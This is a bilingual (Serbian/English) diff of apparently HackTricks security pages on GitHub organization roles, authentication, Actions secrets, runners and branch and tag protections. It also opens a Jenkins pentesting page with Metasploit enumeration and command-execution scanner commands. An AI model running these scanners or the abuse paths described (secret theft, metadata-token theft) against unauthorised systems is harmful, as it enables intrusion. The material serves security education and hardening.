- **Organization members**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je organization member. Po default-u, organization members **imaju niz dozvola**.
- **Billing managers**: Billing managers su korisnici koji mogu **upravljati billing podešavanjima vaše organizacije**, kao što su podaci o plaćanju.
- **Security Managers**: To je uloga koju organization owners mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju security alerts i podešavanjima kroz vašu organizaciju, kao i read dozvole za sve repositories** u organizaciji.
- Ako vaša organizacija ima security tim, možete koristiti security manager ulogu da članovima tima date najmanje potrebne pristupe organizaciji.
- **Github App managers**: Da biste dozvolili dodatnim korisnicima da **upravljaju GitHub Apps koje poseduje organizacija**, owner im može dodeliti GitHub App manager dozvole.
- **Outside collaborators**: Outside collaborator je osoba koja ima **pristup jednom ili više organization repositories ali nije eksplicitno član organizacije**.
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Privilegije članova
### Members Privileges
U _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
Podešavanja ovde indiciraju sledeće dozvole članova organizacije:
The settings here configured will indicate the following permissions of members of the organisation:
- Biti admin, writer, reader ili bez dozvole nad svim organization repos.
- Da li članovi mogu kreirati private, internal ili public repositories.
- Da li je moguće fork-ovati repositories.
- Da li je moguće pozivati outside collaborators.
- Da li se public ili private sajtovi mogu objavljivati.
- Dozvole koje admini imaju nad repositories.
- Da li članovi mogu kreirati nove timove.
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
### Repository uloge
### Repository Roles
Po default-u repository uloge su kreirane:
By default repository roles are created:
- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutujutu o projektu
- **Triage**: Preporučeno za **contribute-ere koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa
- **Write**: Preporučeno za contribute-ere koji **aktivno push-uju u projekat**
- **Maintain**: Preporučeno za **project menadžere koji treba da upravljaju repository-jem** bez pristupa osetljivim ili destruktivnim akcijama
- **Admin**: Preporučeno za osobe kojima treba **potpun pristup projektu**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository-ja
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Takođe možete **kreirati sopstvene uloge** u _https://github.com/organizations/\<org_name>/settings/roles_
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
### Timovi
### Teams
Možete **listati timove kreirane u organizaciji** na _https://github.com/orgs/\<org_name>/teams_. Imajte na umu da da biste videli timove koji su deca drugih timova morate pristupiti svakom parent timu.
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
### Korisnici
### Users
Korisnici organizacije mogu biti **listani** u _https://github.com/orgs/\<org_name>/people._
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
U informacijama za svakog korisnika možete videti **timove čiji je korisnik član**, i **repos koje korisnik ima pristup**.
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
## Github autentifikacija
## Github Authentication
Github nudi različite načine da se autentifikujete na svoj nalog i izvršavate akcije u vaše ime.
Github offers different ways to authenticate to your account and perform actions on your behalf.
### Web pristup
### Web Access
Pristupanjem **github.com** možete se prijaviti koristeći **username i password** (i potencijalno **2FA**).
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
### **SSH Keys**
Možete konfigurisati svoj nalog sa jednim ili više public keys koji omogućavaju povezanom **private key-ju da izvršava akcije u vaše ime.** [https://github.com/settings/keys](https://github.com/settings/keys)
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
Ne možete **podsvesno predstavljati korisnika pomoću ovih ključeva**, ali ako ih ne koristite može se desiti da budete **otkriveni zbog slanja commits bez potpisa**. Saznajte više o [vigilant mode ovde](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
Možete generisati personal access token da **date aplikaciji pristup vašem nalogu**. Prilikom kreiranja personal access token-a **user** mora **navesti** **dozvole** koje će **token** imati. [https://github.com/settings/tokens](https://github.com/settings/tokens)
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth applications mogu tražiti dozvole **za pristup delu vaših github informacija ili da vas impersoniraju** kako bi izvršili neke akcije. Uobičajen primer ove funkcionalnosti je **login with github dugme** koje možete pronaći na nekim platformama.
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
- Možete **kreirati** sopstvene **Oauth applications** na [https://github.com/settings/developers](https://github.com/settings/developers)
- Možete videti sve **Oauth applications koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
- Možete videti **scopes koje Oauth Apps mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Možete videti third party pristup aplikacijama u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Neke **bezbednosne preporuke**:
Some **security recommendations**:
- An **OAuth App** bi uvek trebao **delovati kao autentifikovani GitHub user kroz ceo GitHub** (na primer, pri slanju user notifikacija) i imati pristup samo specificiranim scopes..
- An OAuth App može biti korišćen kao identity provider omogućavanjem "Login with GitHub" za autentifikovanog korisnika.
- **Ne** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **jednom repository-ju**. Sa `repo` OAuth scope-om, OAuth Apps mogu **delovati na _svim_**\_\*\* repositorijima autentifikovanog korisnika\*\*.
- **Ne** pravite OAuth App da deluje kao aplikacija za vaš **tim ili kompaniju**. OAuth Apps se autentifikuju kao **pojedinačni korisnik**, tako da ako jedna osoba kreira OAuth App za kompaniju, i potom napusti kompaniju, niko drugi neće imati pristup njemu.
- **Više** u [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github applications mogu tražiti dozvole da **pristupe vašim github informacijama ili da vas impersoniraju** kako bi izvršili specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima app će imati pristup.
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
- Da instalirate GitHub App, morate biti **organisation owner ili imati admin dozvole** u repository-ju.
- GitHub App bi trebalo da **bude povezan sa personal account ili organizacijom**.
- Možete kreirati sopstvenu Github application na [https://github.com/settings/apps](https://github.com/settings/apps)
- Možete videti sve **Github applications koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Ovo su **API endpoints za Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola Aplikacije, biće u mogućnosti da pristupe nekima od njih
- Možete videti instalirane aplikacije u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/installations_
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
Neke bezbednosne preporuke:
Some security recommendations:
- GitHub App bi trebao **preduzimati akcije nezavisno od korisnika** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali user-to-server access tokene bezbednijim, možete koristiti access tokene koji će isteći nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "Refreshing user-to-server access tokens".
- Uverite se da se GitHub App integriše sa **specifičnim repositories**.
- GitHub App bi trebalo da **bude povezan sa personal account ili organizacijom**.
- Ne očekujte da GitHub App zna i radi sve što korisnik može.
- **Ne koristite GitHub App ako vam je potreban samo "Login with GitHub" servis**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ uradi druge stvari.
- Ne pravite GitHub App ako _samo_ želite da delujete kao GitHub user i radite sve što taj user može.
- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write dozvolu na repository-ju koji sadrži workflow fajl. Za više informacija, pogledajte "Understanding scopes for OAuth apps".
- **Više** u [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
Ovo **nije način za autentifikaciju u github**, ali **maliciozna** Github Action može dobiti **neautorizovan pristup github-u** i **u zavisnosti** od **privilegija** datih Action-u, može biti izvršeno nekoliko **različitih napada**. Pogledajte ispod za više informacija.
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
## Git Actions
Git actions omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično se izvršeni kod nekako odnosi na kod iz repository-ja (na primer, pravljenje docker containera ili provera da PR ne sadrži tajne).
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
### Konfiguracija
### Configuration
U _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **konfiguraciju github actions** za organizaciju.
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
Moguće je potpuno zabraniti korišćenje github actions, **dozvoliti sve github actions**, ili dozvoliti samo određene actions.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
Takođe je moguće konfigurisati **ko treba odobrenje da pokrene Github Action** i **dozvole GITHUB_TOKEN-a** Github Action-a kada se pokrene.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
### Git Secrets
Github Action obično treba neki vid secrets da bi komunicirao sa github-om ili third party aplikacijama. Da biste **izbegli stavljanje u plain-text** u repo, github dozvoljava da ih stavite kao **Secrets**.
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Ovi secrets se mogu konfigurisati **za repo ili za celu organizaciju**. Zatim, da bi **Action imao pristup secret-u** potrebno je da ga deklarišete ovako:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
#### Primer korišćenja Bash <a href="#example-using-bash" id="example-using-bash"></a>
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
```yaml
steps:
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
- shell: bash
env: SUPER_SECRET:${{ secrets.SuperSecret }}
run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
> Secrets **su dostupne samo iz Github Actions** koje su ih deklarisale.
> Secrets **can only be accessed from the Github Actions** that have them declared.
> Kada su konfigurisane u repo ili u organizations **korisnici github-a neće moći ponovo da im pristupe**, moći će samo da **ih promene**.
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
Stoga, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete pristupiti samo secrets deklarisanim za tu Action).
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
### Git Environments
Github omogućava kreiranje **environments** u kojima možete sačuvati **secrets**. Zatim možete dati github action pristup secrets unutar environment-a pomoću nečega poput:
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
deployment:
runs-on: ubuntu-latest
environment: env_name
```
Možete konfigurisati okruženje da mu se pristupa **sa svih grana** (zadato), **samo sa zaštićenih** grana ili da **odredite** koje grane mogu pristupiti njemu.\
Dodatno, zaštite okruženja uključuju:
- **Required reviewers**: blokira job-ove koji ciljaju okruženje dok se ne odobre. Omogućite **Prevent self-review** da biste primenili pravi princip četiri oka pri samom odobrenju.
- **Deployment branches and tags**: ograničite koje grane/tags mogu deploy-ovati u okruženje. Preporučljivo je izabrati konkretne grane/tags i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" odnosi se na klasične branch protections i možda neće raditi kako se očekuje ako koristite rulesets.
- **Wait timer**: odložite deploy-ove za konfigurabilni period.
Takođe, moguće je podesiti **broj potrebnih review-eva** pre nego što se **izvrši** **action** koristeći **okruženje**, ili **sačekati** određeno **vreme** pre nego što se dozvole deploy-evi da nastave.
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
Additionally, environment protections include:
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper foureyes principle on the approval itself.
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
- **Wait timer**: delay deployments for a configurable period.
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
### Git Action Runner
Github Action može biti **izvršen unutar github okruženja** ili može biti izvršen u **infrastrukturi treće strane** koju je korisnik konfigurisao.
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
Neke organizacije dozvoljavaju pokretanje Github Actions u **infrastrukturi treće strane** jer je to često **jeftinije**.
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
Možete **izlistati self-hosted runners** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
Način da se pronađe koje se **Github Actions izvršavaju van github infrastrukture** je pretraga za `runs-on: self-hosted` u konfiguracionom yaml-u Github Action-a.
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
Nije moguće pokrenuti Github Action organizacije unutar self-hosted mašine druge organizacije jer se prilikom konfiguracije Runner-a generiše **jedinstveni token** koji zna kojoj organizaciji runner pripada.
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
Ako je custom **Github Runner konfigurisana na mašini unutar AWS ili GCP**, na primer, Action **može imati pristup metadata endpoint-u** i **ukrasti token servisnog naloga** pod kojim mašina radi.
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
### Git Action Compromise
Ako su sve actions (ili neki maliciozni action) dozvoljeni, korisnik bi mogao iskoristiti **Github action** koji je **maliciozan** i koji će **kompromitovati** **container** u kojem se izvršava.
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
> [!CAUTION]
> Maliciozan run Github Action-a može biti zloupotrebljen od strane napadača da:
> A **malicious Github Action** run could be **abused** by the attacker to:
>
> - **Ukrade sve secrets** kojima Action ima pristup
> - **Krene lateralno** ako se Action izvršava unutar **infrastrukture treće strane** gde se SA token koji pokreće mašinu može dohvatiti (verovatno preko metadata servisa)
> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** u kojem se Action izvršava ili čak **izmeni taj kod**.
> - **Steal all the secrets** the Action has access to
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
## Zaštita grana
## Branch Protections
Branch protections su dizajnirane da **ne daju potpuni kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti više nivoa zaštite pre nego što će neko moći da upiše kod u određenu granu**.
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Zaštite grana repozitorijuma se nalaze na _https://github.com/\<orgname>/\<reponame>/settings/branches_
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> Nije moguće postaviti branch protection na nivou organizacije. Dakle, sve moraju biti deklarisane u svakom repo-u.
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
Različite zaštite mogu biti primenjene na granu (npr. master):
Different protections can be applied to a branch (like to master):
- Možete **zahtevati PR pre merge-a** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti aktivne i druge zaštite:
- **Zahtevati broj odobrenja**. Vrlo je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR kako pojedinačni korisnik ne bi mogao direktno da merge-uje kod.
- **Odbaciti odobrenja kada se potisnu novi commit-ovi**. Ako se ovo ne uključi, korisnik može odobriti legitiman kod, a zatim dodati maliciozni kod i merge-ovati ga.
- **Zahtevati odobrenje najnovijeg reviewable push-a**. Osigurava da svaki novi commit nakon odobrenja (uključujući push-eve drugih saradnika) ponovo pokreće review tako da napadač ne može da doda promene posle odobrenja i merge-uje.
- **Zahtevati odobrenja od Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "nasumični" korisnici ne mogu odobriti).
- **Ograničiti ko može odbaciti pull request review-e.** Možete specificirati ljude ili timove koji imaju dozvolu da odbace review-e.
- **Dozvoliti određenim akterima da zaobiđu zahteve za pull request-om.** Ovi korisnici će moći da zaobiđu prethodna ograničenja.
- **Zahtevati da status checks prođu pre merge-a.** Neki checks moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava rezultate SAST-a). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app bi mogao falsifikovati check preko Checks API, i mnogi botovi prihvataju skip direktive (npr. "@bot-name skip").
- **Zahtevati rešavanje konverzacija pre merge-a**. Svi komentari na kod moraju biti rešeni pre nego što PR može biti merge-ovan.
- **Zahtevati signed commits**. Commit-ovi moraju biti potpisani.
- **Zahtevati linear history.** Sprečava da se merge commits šalju u matching grane.
- **Include administrators.** Ako ovo nije uključeno, administratori mogu zaobići restrikcije.
- **Restrict who can push to matching branches.** Ograničite ko može poslati PR.
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
- **Restrict who can push to matching branches**. Restrict who can send a PR.
> [!NOTE]
> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repo-i mogu biti zaštićeni i sprečiti vas da push-ujete kod u master**, na primer, kako biste kompromitovali CI/CD pipeline.
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
## Zaštita tag-ova
## Tag Protections
Tag-ovi (npr. latest, stable) su po defaultu mutabilni. Da biste primenili princip četiri oka pri ažuriranju tag-ova, zaštitite tag-ove i povežite zaštite kroz environment-e i grane:
Tags (like latest, stable) are mutable by default. To enforce a foureyes flow on tag updates, protect tags and chain protections through environments and branches:
1) Na pravilu za zaštitu taga, omogućite **Require deployments to succeed** i zahtevajte uspešan deployment u zaštićeno okruženje (npr. prod).
2) U ciljnom okruženju, ograničite **Deployment branches and tags** na release granu (npr. main) i po želji konfigurišite **Required reviewers** sa **Prevent self-review**.
3) Na release grani, podesite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**.
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje release-ove izmjenom workflow YAML-a, jer su deployment gate-ovi sprovedeni izvan workflow-a.
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
## References
@@ -268,3 +273,5 @@ Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje re
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,78 +2,84 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
Jenkins je alat koji nudi jednostavan način za uspostavljanje **kontinuirane integracije** ili **kontinuirane isporuke** (CI/CD) okruženja za gotovo **bilo koju** kombinaciju **programskih jezika** i repozitorijuma izvornog koda koristeći pipeline-ove. Pored toga, automatizuje razne rutinske razvojne zadatke. Iako Jenkins ne eliminiše **potrebu za kreiranjem skripti za pojedinačne korake**, pruža brži i robusniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
## Neautentifikovana enumeracija
## Unauthenticated Enumeration
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (_/people_ ili _/asynchPeople_, ovo prikazuje trenutne korisnike) možete koristiti:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Proverite da li možete izvršavati komande bez potrebe za autentifikacijom:
Check if you can execute commands without needing authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Bez kredencijala možete pogledati unutar _**/asynchPeople/**_ putanje ili _**/securityRealm/user/admin/search/index?q=**_ za **korisnička imena**.
Možda ćete moći da dobijete verziju Jenkins-a iz putanje _**/oops**_ ili _**/error**_.
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
![](<../../images/image (146).png>)
### Poznate ranjivosti
### Known Vulnerabilities
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
## Prijava
## Login
U osnovnim informacijama možete proveriti **sve načine za prijavu unutar Jenkins-a**:
In the basic information you can check **all the ways to login inside Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
### Registracija
### Register
Moći ćete da pronađete Jenkins instance koje **dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.**
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
### **SSO Prijava**
### **SSO Login**
